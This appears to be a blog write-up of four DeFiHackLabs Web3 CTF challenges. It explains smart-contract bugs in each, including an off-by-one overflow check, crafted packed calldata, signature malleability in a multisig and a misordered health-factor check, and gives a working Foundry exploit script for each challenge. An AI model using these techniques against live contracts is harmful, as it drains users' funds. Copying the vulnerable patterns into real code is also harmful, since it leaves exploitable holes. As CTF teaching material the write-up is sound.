This time I went to @DeFiHackLabs and attempt my very first Web3-focused CTF. I am fortunately able to solve some challenges. Nothing particular difficult, but that’s still something.

🚧 Syntax highlight to be fixed. I never imagine that I will work on Web3 challenges, thus I did not have syntax highlight for Solidity. I will have this addressed.

8Inch

Challenge Summary

After finding out CowSwap raising millions, Tony reluctantly coded an intent-based DeFi project, wrestling with his ideals as venture capital poured in.

Handouts

The TradeSettlement contract has given us some functions to trade ERC20 tokens with others. The deployer account is selling 10 WOJAK with 1 WETH on TradeSettlement at the beginning. The goal is to obtain at least 10 WOJAK.

Solution

Part I: Stealing tokens from the deployer’s trade

TradeSettlement::settleTrade allows us to partially fill a trade using token A for token B. The token transfers are defined in the below lines:

require(IERC20(trade.tokenToBuy).transferFrom(msg.sender, trade.maker, tradeAmount / trade.amountToSell), "Buy transfer failed");
require(IERC20(trade.tokenToSell).transfer(msg.sender, _amountToSettle), "Sell transfer failed");

When tradeAmount < trade.amountToSell, we will be sending no tokens in order to gain some token B. From the existing trade where one is selling 10 WOJAK for 1 WETH, we are able to buy $9 \cdot 10^{-18}$ WOJAK for free.

Progress: $9 \cdot 10^{-18} / 10$.

We can repeat this vulnerability as much as possible. Maybe let’s exploit it four times to give us… $45 \cdot 10^{-18}$ WOJAK? We are having a good start!

Progress: $45 \cdot 10^{-18} / 10$.

Part II: Exploiting integer overflow in SafeUint112

SafeUint112::safeCast and SafeUint112::safeMul, contrary to their names, are not safe. For instance, safeCast intends to cast a uint256 that fits into a uint112. However, it mistakenly includes $2^{112}$ as a valid input and allow it to be casted into uint112(0).

contract SafeUint112 {
    /// @dev safeCast is a function that converts a uint256 to a uint112, and reverts on overflow
    function safeCast(uint256 value) internal pure returns (uint112) {
        require(value <= (1 << 112), "SafeUint112: value exceeds uint112 max");
        return uint112(value);
    }

    /// @dev safeMul is a function that multiplies two uint112 values, and reverts on overflow
    function safeMul(uint112 a, uint256 b) internal pure returns (uint112) {
        require(uint256(a) * b <= (1 << 112), "SafeUint112: value exceeds uint112 max");
        return uint112(a * b);
    }
}

safeCast is used in multiple places like TradeSettlement::scaleTrade, which made the function vulnerable. In particular, we can overflow newAmountNeededWithFee and make it zero. Thus we can scale up the trade without sending more tokens.

contract TradeSettlement is SafeUint112 {
    // ...
    function scaleTrade(uint256 _tradeId, uint256 scale) external nonReentrant {
        require(msg.sender == trades[_tradeId].maker, "Only maker can scale");
        Trade storage trade = trades[_tradeId];
        require(trade.isActive, "Trade is not active");
        require(scale > 0, "Invalid scale");
        require(trade.filledAmountToBuy == 0, "Trade is already filled");
        uint112 originalAmountToSell = trade.amountToSell;
        trade.amountToSell = safeCast(safeMul(trade.amountToSell, scale));
        trade.amountToBuy = safeCast(safeMul(trade.amountToBuy, scale));
        uint256 newAmountNeededWithFee = safeCast(safeMul(originalAmountToSell, scale) + fee);
        if (originalAmountToSell < newAmountNeededWithFee) {
            require(
                IERC20(trade.tokenToSell).transferFrom(msg.sender, address(this), newAmountNeededWithFee - originalAmountToSell),
                "Transfer failed"
            );
        }
    }
    // ...
}

We can create the trade on the left using TradeSettlement::createTrade to exploit the overflowing vulnerability. By scaling the above trade 2**111 - 15 times, we have newAmountNeededWithFee = 0. Therefore we are able to scale up the trade without paying additional tokens.

digraph { graph [bgcolor="transparent"] node [color="#ffe4e1", fontcolor="#ffe4e1", fillcolor="#33333c", style="filled"] edge [color="#ffe4e1", fontcolor="#ffe4e1"] rankdir=LR &#34;trade-1&#34;[shape=box, fontname=&#34;Fira Code&#34;, label=&lt;&lt;font point-size=&#34;11&#34;&gt; maker = address(PLAYER)&lt;BR align=&#34;left&#34; /&gt; taker = address(0x0)&lt;BR align=&#34;left&#34; /&gt; tokenToSell = address(WOJAK)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;BR align=&#34;left&#34; /&gt; tokenToBuy = address(WOJAK)&lt;BR align=&#34;left&#34; /&gt; amountToSell = 2&lt;BR align=&#34;left&#34; /&gt; amountToBuy = 1&lt;BR align=&#34;left&#34; /&gt;&lt;/font&gt;&gt;] &#34;trade-2&#34;[shape=box, fontname=&#34;Fira Code&#34;, label=&lt;&lt;font point-size=&#34;11&#34;&gt; maker = address(PLAYER)&lt;BR align=&#34;left&#34; /&gt; taker = address(0x0)&lt;BR align=&#34;left&#34; /&gt; tokenToSell = address(WOJAK)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;BR align=&#34;left&#34; /&gt; tokenToBuy = address(WOJAK)&lt;BR align=&#34;left&#34; /&gt; amountToSell = 2**112 - 30&lt;BR align=&#34;left&#34; /&gt; amountToBuy = 2**111 - 15&lt;BR align=&#34;left&#34; /&gt;&lt;/font&gt;&gt;] &#34;trade-1&#34; -&gt; &#34;trade-2&#34;[label=&#34;Scaled&#34;] }

Using TradeSettlement::settleTrade, we can buy 2 WOJAK from the scaled trade at the price of 1 WOJAK. As long as there are sufficient balance in the settlement, we are able to triple our WOJAK settling the scaled trade.

digraph { graph [bgcolor="transparent"] node [color="#ffe4e1", fontcolor="#ffe4e1", fillcolor="#33333c", style="filled"] edge [color="#ffe4e1", fontcolor="#ffe4e1"] rankdir=LR node[shape=box] &#34;player&#34; -&gt; &#34;player&#34;[label=&#34;1 WOJAK&#34;] &#34;settlement&#34; -&gt; &#34;player&#34;[label=&#34;2 WOJAK&#34;] }

To sum up, we can pay a portion of our hard-earned $45 \cdot 10^{-18}$ WOJAK to create a trade. By scaling it up and repeatedly buying from the scaled trade, we can earn 10 WOJAK.

Progress: $10 / 10$.

Solution Script

pragma solidity ^0.8.26;

import {Script, console} from "forge-std/Script.sol";

import {Challenge, TradeSettlement} from "../src/8Inch.sol";
import "../src/ERC20.sol";

contract ExploitScript is Script {
    function setUp() public {}

    function run() public {
        vm.startBroadcast();

        Challenge challenge = Challenge(0x368F8017A2b3Af3416977ba4EB8DD21d60A2538E);
        TradeSettlement tradeSettlement = challenge.tradeSettlement();
        SimpleERC20 wojak = challenge.wojak();
        address player = msg.sender;

        for (int i = 0; i < 5; i++) {
            tradeSettlement.settleTrade(0, 9);
        }
        require(wojak.balanceOf(player) == 45);

        wojak.approve(address(tradeSettlement), type(uint256).max);
        tradeSettlement.createTrade(address(wojak), address(wojak), 2+30, 1);
        require(wojak.balanceOf(player) == 13);

        tradeSettlement.scaleTrade(1, 2596148429267413814265248164610033);
        require(wojak.balanceOf(player) == 13);

        tradeSettlement.settleTrade(1, 27);
        require(wojak.balanceOf(player) == 40);

        while (wojak.balanceOf(player) * 3 <= 10 ether) {
            uint256 currentBalance = wojak.balanceOf(player);

            tradeSettlement.settleTrade(1, 2*currentBalance);
            require(wojak.balanceOf(player) == 3*currentBalance);
        }

        require(wojak.balanceOf(player) == 6003785411879964840);
        tradeSettlement.settleTrade(1, 10 ether - wojak.balanceOf(player));
        require(wojak.balanceOf(player) == 10 ether);

        wojak.transfer(address(0xc0ffee), 10 ether);

        require(wojak.balanceOf(address(0xc0ffee)) >= 10 ether);
        require(challenge.isSolved(), "not solved");
    }
}

Doju

Challenge Summary

Pump.Fun? No cult Solana sorry. Tony only builds on Ethereum. Here is his state-of-the-art gas-efficient bonding curve token.

Handouts

The Doju contract implements a token that can be traded with ETH using buyTokens and sellTokens. We have 100 BD and there are around $1.1 \cdot 10^{59}$ BD unminted at the beginning. The goal is to obtain at least $5.7 \cdot 10^{58}$ BD.

Solution

The amount of BD we need to gain seemed surreal because the total supply is only 100 BD. Minting is not the way to go because the price is too high (1 ETH per BD).

Fortunately, we are able to trigger calls from Doju::sellTokens to an arbitrary contract (to) with a packed payload, where most of the parameters are supplied by the caller. We should be able to call Doju::transfer if we craft the payload right.

contract Doju {
    // ...
    // Sell tokens and receive ETH
    function sellTokens(uint256 tokenAmount, address to, uint256 minOut) public {
        uint256 ethValue = _tokensToEth(tokenAmount);
        _transfer(msg.sender, address(this), tokenAmount);
        totalSupply -= tokenAmount;
        (bool success,) =
            payable(to).call{value: ethValue}(abi.encodePacked(minOut, to, tokenAmount, msg.sender, ethValue));
        require(minOut > ethValue, "minOut not met");
        require(success, "Transfer failed");
        emit Burn(msg.sender, tokenAmount);
        emit Transfer(msg.sender, address(0), tokenAmount);
    }
    // ...
}

The following figure shows the message structure for the payable(to).call. The green values are easier to control, the red values are fixed, and we would need to compute (or brute-force) to better manipulate the yellow values:

Message structure of the call in `Doju::sellTokens`.

Since we want to call doju.transfer, we would need to make to to be the address of the Doju contract. We would also need to make ethValue zero as Doju::transfer is non-payable.

Message structure that we want.

Here 0xa9059cbb is the function signature for Doju::transfer, and 0xC47f...d6E9 is the address for the Doju contract instance.

To align with the provided message structure, we will need the recipient address of the token, to, to end with c47fcc04. I used profanity2 and it generated an address (0x17bB9d66B3e48a81a00b9ba75C297fc4c47fCC04) in a minute.

Finally, this is the message call that I used to transfer some tokens to the newly generated account. We will be able to gain sufficient tokens by calling it twice:

doju.sellTokens(
    /*tokenAmount=*/0x0,
    /*to=*/address(0xC47fcC04762b188c3C5D1D01aBb279e21be4d6E9),
    /*minOut=*/0xa9059cbb00000000000000000000000017bb9d66b3e48a81a00b9ba75c297fc4
);

Solution Script

pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";

import {Challenge} from "../src/Challenge.sol";
import {Doju} from "../src/Doju.sol";

/*
forge script script/Exploit.s.sol:Exploit1Script --private-key 0x9ab0fe65575aa17213ff8d6ac83462d3932849aeb42ca70b0cb3e85d24feb7d9 -vvvv --rpc-url http://rpc.ctf.so:8545/.../main --broadcast && 
forge script script/Exploit.s.sol:Exploit2Script --private-key 0xb13d58d135dbf6a31afba3bd16530900a13e9b49357e2b67a01f5ec35e65a542 -vvvv --rpc-url http://rpc.ctf.so:8545/.../main --broadcast
*/

contract Exploit1Script is Script {
    // Run with the player's secret key (provided by the instancer).
    function setUp() public {}

    function run() public {
        Challenge challenge = Challenge(0x21474f7350Ea47e17229ed1a27B43D17992A8777);
        Doju doju = challenge.doju();

        vm.startBroadcast();

        uint256 pk = 0xb13d58d135dbf6a31afba3bd16530900a13e9b49357e2b67a01f5ec35e65a542;
        address player = msg.sender;
        address player2 = vm.addr(pk);

        payable(player2).call{value: 1 ether}("");
    }
}

contract Exploit2Script is Script {
    // Run with the secret key 0xb13d58d135dbf6a31afba3bd16530900a13e9b49357e2b67a01f5ec35e65a542,
    // where the address ends with 0xc47fcc04.
    function setUp() public {}

    function run() public {
        Challenge challenge = Challenge(0x21474f7350Ea47e17229ed1a27B43D17992A8777);
        Doju doju = challenge.doju();

        vm.startBroadcast();
        address player = msg.sender;

        require(uint160(player) & 0xffffffff == 0xc47fcc04, "incorrect address (#1)");

        uint256 minOut = 0xa9059cbb00000000000000000000000000000000000000000000000000000000 +
            (uint160(player)>>32);
        address to = address(doju);
        uint256 tokenAmount = 0;

        while (doju.balanceOf(player) < type(uint256).max / 2) {
            doju.sellTokens(tokenAmount, to, minOut);
        }

        doju.transfer(address(0xc0ffee), doju.balanceOf(player));
        require(challenge.isSolved(), "not solved");
    }
}

Cyber Cartel

Challenge Summary

Malone, Wiz and Box recently robbed a billionaire and deposited their proceeds into a multisig treasury. And who is Box? The genius hacker behind everything. He’s gonna rob his friends…

Handouts

We have two contracts in this challenge. BodyGuard is a contract that would call functions from the treasury if we have three signatures from the guardians (two unknown and one being the player). CartelTreasury is a contract that has some functions that are only callable from the bodyGuard. The goal is to drain the ethers from CartelTreasury.

Solution

Part I: Getting multiple distinct signatures with a single signer

The guardian contract will execute an arbitrary call when it is “properly signed”. There are some functions on the cartel contract that can be called only by the guardian contract.

There are some conditions for a message considered to be multi-signed:

  • there are three signatures collected,
  • the signer for each signature must be one of the three approved guardians, and we are one of them, and
  • the Keccak256 digests of the signatures must be strictly increasing.

In short, we need to collect three distinct signatures from any of the signers. It works even if a single signer is able to provide three distinct signatures.

Modern Ethereum packages use RFC6979 to sign a message with a deterministic nonce, for instance, vm.sign in Foundry would always return the same signature. However, signatures created by any nonce is considered valid. This is simply because we are unable to determine, as a verifier, a nonce is the nonce derived with RFC6979. Thus it is possible for a signer to generate distinct signatures for a given message.

One little question remain… What to sign?

Part II: Draining the treasury

I immediately tried to call treasury.doom using the guardian contract. However, it would not work because the BodyGuard contract has no payable functions.

Instead, we need to fire the body guard (i.e., setting bodyGuard = address(0x0)) with treasury.dismiss. We then can call treasury.initialize with a malicious body guard and call treasury.doom to transfer all the ethers afterwards.

Solution Script

pragma solidity ^0.8.26;

import {Script, console} from "forge-std/Script.sol";

import "../src/Challenge.sol";
import "../src/CyberCartel.sol";

contract ExploitScript is Script {
    function setUp() public {}

    function run() public {
        Challenge challenge = Challenge(0x2429A189dd3323AaD7Fc9c1E658Dd80c0ab12Fd5);
        CartelTreasury treasury = CartelTreasury(payable(challenge.TREASURY()));
        BodyGuard bodyGuard = BodyGuard(treasury.bodyGuard());

        vm.startBroadcast();

        require(bodyGuard.guardians(msg.sender), "you are not a guardian");

        BodyGuard.Proposal memory proposal;
        bytes[] memory signatures = new bytes[](3);

        proposal.expiredAt = type(uint32).max;
        proposal.gas = type(uint24).max;
        proposal.nonce = 1;
        proposal.data = abi.encodeWithSelector(treasury.gistCartelDismiss.selector);

        signatures[0] = abi.encodePacked(
            uint256(70859077052232689629756310103205080667258477748980774236893770954867402388350),
            uint256(14096269543505290919012195916898044762171069125550658007327168284379109563191),
            uint8(28)
        );
        signatures[1] = abi.encodePacked(
            uint256(10372245554972896093582123004174987431211603282413396983811888247534900329891),
            uint256(55103822151495814764573943500738618633285412537396818523717665920905458870443),
            uint8(27)
        );
        signatures[2] = abi.encodePacked(
            uint256(70054947218465115124070121157516745380413483924040567416787163687531118442332),
            uint256(22402771072968988044451507239837167350477193281342038924959667106645423636427),
            uint8(27)
        );
        bodyGuard.propose(proposal, signatures);

        ExploitContract exploit = new ExploitContract(treasury);
        treasury.initialize(address(exploit));
        exploit.run();

        require(challenge.isSolved(), "not solved");
    }
}

contract ExploitContract {
    CartelTreasury public immutable treasury;

    constructor (CartelTreasury _treasury) {
        treasury = _treasury;
    }

    function run() public {
        treasury.doom();
    }

    receive() external payable {}
}

Tonylend

Challenge Summary

Tony eats cats and dogs, and builds lending platform that competes with Trump’s cryptocurrency.

Handouts

There is a TonyLend contracts that somehow acts as a bank, which us to deposit, withdraw, borrow, repay and liquidite. For most of the operations, there is a check on the health score to avoid under-collateralization. There is also a curve pool that trades wUSDe and wUSDC. Initially the user has 10000 wUSDe and 10000 wUSDc at the initial price of 1:1, and the goal is to obtain at least 21926 wUSDe.

Solution

The TonyLend::calculateHealthFactor function that checks, in short, if we have less “borrows” than “deposits”. For instance, if the tokens I deposited and borrowed have respectively 3 ETH and 2 ETH in values, then the health score would be 1.5. In that case, we are said to be financially healthy in their contract. This value is checked in multiple functions like TonyLend::borrow and TonyLend::withdraw.

The health factor should be performed at the end to ensure the ending balances are healthy. However, TonyLend::withdraw is checking the health factor before the values are changed, which made people able to withdraw more tokens than expected. For instance, a user has 1 ETH deposited and 1 ETH borrowed, we should be unable to withdraw 1 ETH because it would end up at a health score 0. However, we can withdraw from the contract because the health score is 1 at the beginning.

Starting with 1 ETH, we can deposit it to the contract. We then can borrow 1 ETH and withdraw all the funds. We end up having 2 ETH. Our account in the contract needs to be liquidified, but we no longer need to deal with the contract anymore.

digraph structs { rankdir=LR
node [color="#ffe4e1", fontcolor="#ffe4e1", fillcolor="#33333c", style="filled", shape="record"]
graph [bgcolor="transparent"]
edge [color="#ffe4e1", fontcolor="#ffe4e1"]

state1 [label="{{User Balance: 1 ETH|Deposited: 0 ETH\nBorrowed 0 ETH}}"]
state2 [label="{{User Balance: 0 ETH|Deposited: 1 ETH\nBorrowed 0 ETH}}"]
state3 [label="{{User Balance: 1 ETH|Deposited: 1 ETH\nBorrowed 1 ETH}}"]
state4 [
    label="{{User Balance: 2 ETH|Deposited: 0 ETH\nBorrowed 1 ETH}}",
    color="#ff5451", fontcolor="#ff5451"
]

state1 -> state2[label="Deposit 1 ETH"]
state2 -> state3[constraint=false, label="Borrow 1 ETH"]
state3 -> state4[label="Withdraw 1 ETH", color="#ff5451", fontcolor="#ff5451"]

}

🧀 Cheesed! The challenge authors later released a revenge called Tonylend (No Longer Audited by CertiK) to address the unintended solution. I wasn’t able to solve without the cheese.

Solution Script

pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Challenge} from "../src/Challenge.sol";
import {TonyLend} from "../src/TonyLend2.sol";

contract ExploitScript is Script {
    function setUp() public {}

    function run() public {
        Challenge challenge = Challenge(0x72998f0cffFe9Bf0fC7465188aCF3c5a8C77B616);
        TonyLend tonyLend = challenge.tonyLend();
        IERC20 usdc = challenge.usdc();
        IERC20 usde = challenge.usde();

        vm.startBroadcast();

        usde.approve(address(tonyLend), type(uint256).max);
        usdc.approve(address(tonyLend), type(uint256).max);

        challenge.claimDust();

        tonyLend.deposit(0, 1e4 * 1e18);
        tonyLend.deposit(1, 1e4 * 1e6);

        tonyLend.borrow(0, 1.2e4 * 1e18);

        tonyLend.withdraw(0, 1e4 * 1e18);

        usde.transfer(address(0xc0ffee), 2.2e4 * 1e18);
        require(challenge.isSolved(), "not solved");
    }
}